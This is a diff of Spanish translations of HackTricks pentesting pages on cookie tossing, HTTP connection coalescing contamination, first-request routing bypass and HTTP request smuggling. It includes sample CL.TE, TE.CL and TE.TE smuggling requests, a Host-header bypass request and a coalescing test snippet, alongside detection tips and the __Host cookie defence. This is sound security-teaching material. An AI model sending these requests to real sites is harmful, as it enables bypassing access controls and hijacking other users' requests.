Para eludir el escenario en el que el atacante está estableciendo una cookie después de que a la víctima ya se le haya dado la cookie, el atacante podría provocar un **desbordamiento de cookie** y luego, una vez que se **elimine la cookie legítima, establecer la maliciosa**.
Para evitar el escenario donde el atacante está estableciendo una cookie después de que la víctima ya recibió la cookie, el atacante podría causar un **desbordamiento de cookies** y luego, una vez que la **cookie legítima sea eliminada, establecer la maliciosa**.
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %}
Otro **bypass** útil podría ser **codificar la URL del nombre de la cookie** ya que algunas protecciones buscan 2 cookies con el mismo nombre en una solicitud y luego el servidor decodificará los nombres de las cookies.
Otro **bypass** útil podría ser **codificar en URL el nombre de la cookie** ya que algunas protecciones buscan 2 cookies con el mismo nombre en una solicitud y luego el servidor decodificará los nombres de las cookies.
## Cookie Bomb
## Bomba de Cookies
Un ataque de Cookie Tossing también puede usarse para realizar un ataque de **Cookie Bomb**:
Un ataque de Cookie Tossing también se puede utilizar para realizar un ataque de **Bomba de Cookies**:
{% content-ref url="cookie-bomb.md" %}
[cookie-bomb.md](cookie-bomb.md)
{% endcontent-ref %}
## Defensas
## Defensa**s**
### **Usa el prefijo `__Host` en el nombre de la cookie**
### **Usar el prefijo `__Host` en el nombre de la cookie**
* Si un nombre de cookie tiene este prefijo, **solo será aceptado** en una directiva Set-Cookie si está marcado como Seguro, fue enviado desde un origen seguro, no incluye un atributo de Dominio y tiene el atributo de Ruta establecido en /
* **Esto impide que los subdominios fuercen una cookie al dominio principal ya que estas cookies pueden verse como "bloqueadas por dominio"**
* Si un nombre de cookie tiene este prefijo, **solo será aceptado** en una directiva Set-Cookie si está marcado como seguro, fue enviado desde un origen seguro, no incluye un atributo de Dominio y tiene el atributo de Ruta configurado en /
* **Esto evita que los subdominios obliguen a una cookie al dominio principal ya que estas cookies pueden considerarse "bloqueadas por dominio"**
## Referencias
@ -77,14 +77,14 @@ Un ataque de Cookie Tossing también puede usarse para realizar un ataque de **C
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -7,23 +7,23 @@
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Este es un resumen del post: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**. ¡Consultalo para más detalles!
Los navegadores web pueden reutilizar una única conexión HTTP/2+ para diferentes sitios web a través de la [coalescencia de conexiones HTTP](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), dado direcciones IP compartidas y un certificado TLS común. Sin embargo, esto puede entrar en conflicto con el **enrutamiento de primera solicitud** en reverse-proxies, donde las solicitudes posteriores son dirigidas al back-end determinado por la primera solicitud. Este enrutamiento erróneo puede llevar a vulnerabilidades de seguridad, especialmente cuando se combina con certificados TLS comodín y dominios como `*.example.com`.
Los navegadores web pueden reutilizar una única conexión HTTP/2+ para diferentes sitios web a través de la [coalescencia de conexiones HTTP](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), siempre que compartan direcciones IP y un certificado TLS común. Sin embargo, esto puede entrar en conflicto con el **enrutamiento de primera solicitud** en reverse-proxies, donde las solicitudes posteriores son dirigidas al back-end determinado por la primera solicitud. Este enrutamiento incorrecto puede llevar a vulnerabilidades de seguridad, especialmente cuando se combina con certificados TLS comodín y dominios como `*.example.com`.
Por ejemplo, si `wordpress.example.com` y `secure.example.com` son servidos por el mismo reverse proxy y tienen un certificado comodín común, la coalescencia de conexión del navegador podría llevar a que las solicitudes a `secure.example.com` sean procesadas incorrectamente por el back-end de WordPress, explotando vulnerabilidades como XSS.
Por ejemplo, si `wordpress.example.com` y `secure.example.com` son servidos por el mismo reverse proxy y tienen un certificado comodín común, la coalescencia de conexiones del navegador podría hacer que las solicitudes a `secure.example.com` sean procesadas incorrectamente por el back-end de WordPress, explotando vulnerabilidades como XSS.
Para observar la coalescencia de conexiones, se pueden utilizar la pestaña de Red de Chrome o herramientas como Wireshark. Aquí tienes un fragmento para realizar pruebas:
```javascript
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
```
El riesgo actual está limitado debido a la rareza del enrutamiento de la primera solicitud y la complejidad de HTTP/2. Sin embargo, los cambios propuestos en HTTP/3, que relajan el requisito de coincidencia de direcciones IP, podrían ampliar la superficie de ataque, haciendo que los servidores con un certificado comodín sean más vulnerables sin necesidad de un ataque MITM.
La amenaza actualmente está limitada debido a la rareza del enrutamiento de la primera solicitud y la complejidad de HTTP/2. Sin embargo, los cambios propuestos en HTTP/3, que relajan el requisito de coincidencia de direcciones IP, podrían ampliar la superficie de ataque, haciendo que los servidores con un certificado comodín sean más vulnerables sin necesidad de un ataque MITM.
Las mejores prácticas incluyen evitar el enrutamiento de la primera solicitud en proxies inversos y ser cautelosos con los certificados TLS comodín, especialmente con la llegada de HTTP/3. Las pruebas regulares y la conciencia de estas vulnerabilidades complejas e interconectadas son cruciales para mantener la seguridad web.

View file

@ -1,24 +1,24 @@
# HTTP Request Smuggling de Conexión
# HTTP Connection Request Smuggling
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
**Este es un resumen del post [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
## Ataques de Estado de Conexión <a href="#state" id="state"></a>
## Ataques de Manipulación del Estado de Conexión <a href="#state" id="state"></a>
### Validación de la Primera Solicitud
Al enrutar solicitudes, los servidores proxy inversos pueden depender del **encabezado Host** para determinar el servidor de destino de back-end, a menudo confiando en una lista blanca de hosts que tienen acceso permitido. Sin embargo, existe una vulnerabilidad en algunos servidores proxy donde la lista blanca solo se aplica en la solicitud inicial de una conexión. En consecuencia, los atacantes podrían explotar esto haciendo primero una solicitud a un host permitido y luego solicitando un sitio interno a través de la misma conexión:
Al enrutar solicitudes, los servidores proxy inversos pueden depender del **encabezado Host** para determinar el servidor de destino de la parte posterior, a menudo confiando en una lista blanca de hosts que tienen acceso permitido. Sin embargo, existe una vulnerabilidad en algunos proxies donde la lista blanca solo se aplica en la solicitud inicial de una conexión. En consecuencia, los atacantes podrían explotar esto haciendo primero una solicitud a un host permitido y luego solicitando un sitio interno a través de la misma conexión:
```text
GET / HTTP/1.1
Host: [allowed-external-host]
@ -45,12 +45,12 @@ Para identificar estas vulnerabilidades, se puede utilizar la función 'sonda de
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -1,4 +1,4 @@
# Ataque de Contrabando de Solicitudes HTTP / Ataque de Desincronización HTTP
# Ataque de Desincronización de Petición HTTP / Ataque de Desincronización HTTP
<details>
@ -9,15 +9,15 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
## Qué es
Esta vulnerabilidad ocurre cuando una **desincronización** entre los **proxies de front-end** y el **servidor de back-end** permite a un **atacante** **enviar** una **solicitud HTTP** que será **interpretada** como una **sola solicitud** por los **proxies de front-end** (balanceador de carga/proxy inverso) y **como 2 solicitudes** por el **servidor de back-end**.\
Esto permite a un usuario **modificar la siguiente solicitud que llega al servidor de back-end después de la suya**.
Esta vulnerabilidad ocurre cuando una **desincronización** entre los **proxies de front-end** y el **servidor de back-end** permite a un **atacante** enviar una **petición HTTP** que será **interpretada** como una **única petición** por los **proxies de front-end** (balanceador de carga/proxy inverso) y **como 2 peticiones** por el **servidor de back-end**.\
Esto permite a un usuario **modificar la siguiente petición que llega al servidor de back-end después de la suya**.
### Teoría
@ -37,31 +37,31 @@ Esto permite a un usuario **modificar la siguiente solicitud que llega al servid
### Realidad
El **Front-End** (un balanceador de carga / Proxy Inverso) **procesa** el encabezado _**content-length**_ o el _**transfer-encoding**_ y el **servidor de Back-End** **procesa el otro** provocando una **desincronización** entre los 2 sistemas.\
Esto podría ser muy crítico ya que **un atacante podrá enviar una solicitud** al proxy inverso que será **interpretada** por el **servidor de back-end como 2 solicitudes diferentes**. El **peligro** de esta técnica radica en el hecho de que el **servidor de back-end interpretará la 2da solicitud inyectada** como si **hubiera venido del siguiente cliente** y la **solicitud real** de ese cliente será **parte** de la **solicitud inyectada**.
Esto podría ser muy crítico ya que **un atacante podrá enviar una petición** al proxy inverso que será **interpretada** por el **servidor de back-end como 2 peticiones diferentes**. El **peligro** de esta técnica radica en el hecho de que el **servidor de back-end interpretará la 2da petición inyectada** como si **hubiera venido del siguiente cliente** y la **petición real** de ese cliente será **parte** de la **petición inyectada**.
### Particularidades
Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:**
* **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la solicitud. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la solicitud**.
* **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la petición. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la petición**.
* **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **próximo fragmento**. El **fragmento** debe **terminar** con una **nueva línea** pero esta nueva línea **no se cuenta** en el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
* **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del Contrabando de Solicitudes.
* **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera petición del ataque de Smuggling de petición.
## Ejemplos Básicos
Los ataques de contrabando de solicitudes HTTP se crean enviando solicitudes ambiguas que explotan discrepancias en cómo los servidores de front-end y back-end interpretan los encabezados `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como **CL.TE**, **TE.CL**, y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores de front-end y back-end priorizan estos encabezados. Las vulnerabilidades surgen de los servidores procesando la misma solicitud de diferentes maneras, lo que lleva a resultados inesperados y potencialmente maliciosos.
Los ataques de desincronización de petición HTTP se crean enviando peticiones ambiguas que explotan discrepancias en cómo los servidores de front-end y back-end interpretan los encabezados `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como **CL.TE**, **TE.CL**, y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores de front-end y back-end priorizan estos encabezados. Las vulnerabilidades surgen de los servidores procesando la misma petición de diferentes maneras, lo que lleva a resultados inesperados y potencialmente maliciosos.
### Ejemplos Básicos de Tipos de Vulnerabilidad
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
#### Vulnerabilidad CL.TE (Content-Length usado por Front-End, Transfer-Encoding usado por Back-End)
- **Front-End (CL):** Procesa la solicitud basándose en el encabezado `Content-Length`.
- **Back-End (TE):** Procesa la solicitud basándose en el encabezado `Transfer-Encoding`.
- **Front-End (CL):** Procesa la petición basándose en el encabezado `Content-Length`.
- **Back-End (TE):** Procesa la petición basándose en el encabezado `Transfer-Encoding`.
- **Escenario de Ataque:**
- El atacante envía una solicitud donde el valor del encabezado `Content-Length` no coincide con la longitud real del contenido.
- El servidor de front-end reenvía toda la solicitud al back-end, basándose en el valor de `Content-Length`.
- El servidor de back-end procesa la solicitud como fragmentada debido al encabezado `Transfer-Encoding: chunked`, interpretando los datos restantes como una solicitud separada y subsiguiente.
- El atacante envía una petición donde el valor del encabezado `Content-Length` no coincide con la longitud real del contenido.
- El servidor de front-end reenvía toda la petición al back-end, basándose en el valor de `Content-Length`.
- El servidor de back-end procesa la petición como fragmentada debido al encabezado `Transfer-Encoding: chunked`, interpretando los datos restantes como una petición separada y subsiguiente.
- **Ejemplo:**
```
POST / HTTP/1.1
@ -77,12 +77,12 @@ Foo: x
```
#### Vulnerabilidad TE.CL (Transfer-Encoding usado por Front-End, Content-Length usado por Back-End)
- **Front-End (TE):** Procesa la solicitud basándose en el encabezado `Transfer-Encoding`.
- **Back-End (CL):** Procesa la solicitud basándose en el encabezado `Content-Length`.
- **Front-End (TE):** Procesa la petición basándose en el encabezado `Transfer-Encoding`.
- **Back-End (CL):** Procesa la petición basándose en el encabezado `Content-Length`.
- **Escenario de Ataque:**
- El atacante envía una solicitud fragmentada donde el tamaño del fragmento (`7b`) y la longitud real del contenido (`Content-Length: 4`) no coinciden.
- El servidor de front-end, respetando `Transfer-Encoding`, reenvía toda la solicitud al back-end.
- El servidor de back-end, respetando `Content-Length`, procesa solo la parte inicial de la solicitud (`7b` bytes), dejando el resto como parte de una solicitud subsiguiente no intencionada.
- El atacante envía una petición fragmentada donde el tamaño del fragmento (`7b`) y la longitud real del contenido (`Content-Length: 4`) no coinciden.
- El servidor de front-end, respetando `Transfer-Encoding`, reenvía toda la petición al back-end.
- El servidor de back-end, respetando `Content-Length`, procesa solo la parte inicial de la petición (`7b` bytes), dejando el resto como parte de una petición subsiguiente no intencionada.
- **Ejemplo:**
```
POST / HTTP/1.1
@ -105,9 +105,9 @@ x=
#### Vulnerabilidad TE.TE (Transfer-Encoding usado por ambos, con obfuscación)
- **Servidores:** Ambos admiten `Transfer-Encoding`, pero uno puede ser engañado para ignorarlo mediante obfuscación.
- **Escenario de Ataque:**
- El atacante envía una solicitud con encabezados de `Transfer-Encoding` obfuscados.
- El atacante envía una petición con encabezados de `Transfer-Encoding` obfuscados.
- Dependiendo de qué servidor (front-end o back-end) no reconozca la obfuscación, se puede explotar una vulnerabilidad CL.TE o TE.CL.
- La parte no procesada de la solicitud, tal como la ve uno de los servidores, se convierte en parte de una solicitud subsiguiente, lo que lleva al contrabando.
- La parte no procesada de la petición, vista por uno de los servidores, se convierte en parte de una petición subsiguiente, lo que lleva al smuggling.
- **Ejemplo:**
```
POST / HTTP/1.1
@ -127,8 +127,8 @@ Transfer-Encoding
```
#### **Escenario CL.CL (Content-Length usado por ambos Front-End y Back-End):**
- Ambos servidores procesan la solicitud basándose únicamente en el encabezado `Content-Length`.
- Este escenario típicamente no conduce al contrabando, ya que hay alineación en cómo ambos servidores interpretan la longitud de la solicitud.
- Ambos servidores procesan la petición basándose únicamente en el encabezado `Content-Length`.
- Este escenario típicamente no conduce al smuggling, ya que hay alineación en cómo ambos servidores interpretan la longitud de la petición.
- **Ejemplo:**
```
POST / HTTP/1.1
@ -136,12 +136,12 @@ Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Solicitud Normal
Petición Normal
```
#### **Escenario CL != 0:**
- Se refiere a escenarios donde el encabezado `Content-Length` está presente y tiene un valor distinto de cero, lo que indica que el cuerpo de la solicitud tiene contenido.
- Es crucial para comprender y crear ataques de contrabando, ya que influye en cómo los servidores determinan el final de una solicitud.
- Se refiere a escenarios donde el encabezado `Content-Length` está presente y tiene un valor distinto de cero, indicando que el cuerpo de la petición tiene contenido.
- Es crucial para comprender y crear ataques de smuggling, ya que influye en cómo los servidores determinan el final de una petición.
- **Ejemplo:**
```
POST / HTTP/1.1
@ -154,7 +154,7 @@ Cuerpo no vacío
#### Forzando a través de encabezados hop-by-hop
Abusando de los encabezados hop-by-hop, podrías indicar al proxy que **elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar de un contrabando de solicitudes HTTP**.
Abusando de los encabezados hop-by-hop, podrías indicar al proxy que **elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar de un ataque de smuggling de petición HTTP**.
```
Connection: Content-Length
```
@ -185,7 +185,7 @@ A
0
```
- **Observación:**
- El servidor de front-end procesa la solicitud en función de `Content-Length` y corta el mensaje prematuramente.
- El servidor de front-end procesa la solicitud basándose en `Content-Length` y corta el mensaje prematuramente.
- El servidor de back-end, esperando un mensaje fragmentado, espera el siguiente fragmento que nunca llega, causando un retraso.
- **Indicadores:**
@ -207,7 +207,7 @@ Content-Length: 6
X
```
- **Observación:**
- El servidor de front-end procesa la solicitud en función de `Transfer-Encoding` y reenvía el mensaje completo.
- El servidor de front-end procesa la solicitud basándose en `Transfer-Encoding` y reenvía el mensaje completo.
- El servidor de back-end, esperando un mensaje basado en `Content-Length`, espera datos adicionales que nunca llegan, causando un retraso.
### Otros Métodos para Encontrar Vulnerabilidades
@ -226,16 +226,16 @@ X
### Pruebas de Vulnerabilidad de HTTP Request Smuggling
Después de confirmar la efectividad de las técnicas de temporización, es crucial verificar si las solicitudes de los clientes pueden ser manipuladas. Un método sencillo es intentar envenenar tus solicitudes, por ejemplo, haciendo que una solicitud a `/` genere una respuesta 404. Los ejemplos de `CL.TE` y `TE.CL` discutidos anteriormente en [Ejemplos Básicos](./#basic-examples) demuestran cómo envenenar la solicitud de un cliente para provocar una respuesta 404, a pesar de que el cliente intenta acceder a un recurso diferente.
Después de confirmar la efectividad de las técnicas de temporización, es crucial verificar si las solicitudes de los clientes pueden ser manipuladas. Un método sencillo es intentar envenenar tus solicitudes, por ejemplo, haciendo que una solicitud a `/` genere una respuesta 404. Los ejemplos de `CL.TE` y `TE.CL` discutidos anteriormente en [Ejemplos Básicos](./#basic-examples) muestran cómo envenenar la solicitud de un cliente para provocar una respuesta 404, a pesar de que el cliente intenta acceder a un recurso diferente.
**Consideraciones Clave**
Al probar vulnerabilidades de request smuggling al interferir con otras solicitudes, ten en cuenta:
* **Conexiones de Red Distintas:** Las solicitudes "de ataque" y "normales" deben enviarse a través de conexiones de red separadas. Utilizar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
* **URL y Parámetros Consistentes:** Intenta utilizar URLs idénticas y nombres de parámetros para ambas solicitudes. Las aplicaciones modernas a menudo dirigen las solicitudes a servidores de back-end específicos en función de la URL y los parámetros. Coincidir con estos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.
* **Temporización y Condiciones de Carrera:** La solicitud "normal", destinada a detectar la interferencia de la solicitud "de ataque", compite contra otras solicitudes de aplicación concurrentes. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "de ataque". Las aplicaciones ocupadas pueden requerir múltiples pruebas para confirmar la vulnerabilidad de manera concluyente.
* **Desafíos de Balanceo de Carga:** Los servidores de front-end que actúan como balanceadores de carga pueden distribuir solicitudes en varios sistemas de back-end. Si las solicitudes "de ataque" y "normales" terminan en sistemas diferentes, el ataque no tendrá éxito. Este aspecto del balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
* **URL y Parámetros Consistentes:** Intenta utilizar URLs idénticas y nombres de parámetros para ambas solicitudes. Las aplicaciones modernas a menudo dirigen las solicitudes a servidores de back-end específicos según la URL y los parámetros. Coincidir con estos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.
* **Temporización y Condiciones de Carrera:** La solicitud "normal", destinada a detectar la interferencia de la solicitud "de ataque", compite contra otras solicitudes de la aplicación concurrentes. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "de ataque". Las aplicaciones ocupadas pueden requerir múltiples pruebas para confirmar la vulnerabilidad de manera concluyente.
* **Desafíos de Balanceo de Carga:** Los servidores de front-end que actúan como balanceadores de carga pueden distribuir las solicitudes en varios sistemas de back-end. Si las solicitudes "de ataque" y "normales" terminan en sistemas diferentes, el ataque no tendrá éxito. Este aspecto del balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
* **Impacto no Intencionado en el Usuario:** Si tu ataque afecta inadvertidamente la solicitud de otro usuario (no la solicitud "normal" que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, lo que requiere un enfoque cauteloso.
@ -245,7 +245,7 @@ Al probar vulnerabilidades de request smuggling al interferir con otras solicitu
### Circunvalando la Seguridad de Front-End a través de HTTP Request Smuggling
A veces, los proxies de front-end imponen medidas de seguridad, escrutando las solicitudes entrantes. Sin embargo, estas medidas pueden ser eludidas explotando HTTP Request Smuggling, permitiendo el acceso no autorizado a puntos finales restringidos. Por ejemplo, acceder a `/admin` podría estar prohibido externamente, con el proxy de front-end bloqueando activamente tales intentos. No obstante, este proxy puede omitir inspeccionar las solicitudes incrustadas dentro de una solicitud HTTP smuggled, dejando una brecha para eludir estas restricciones.
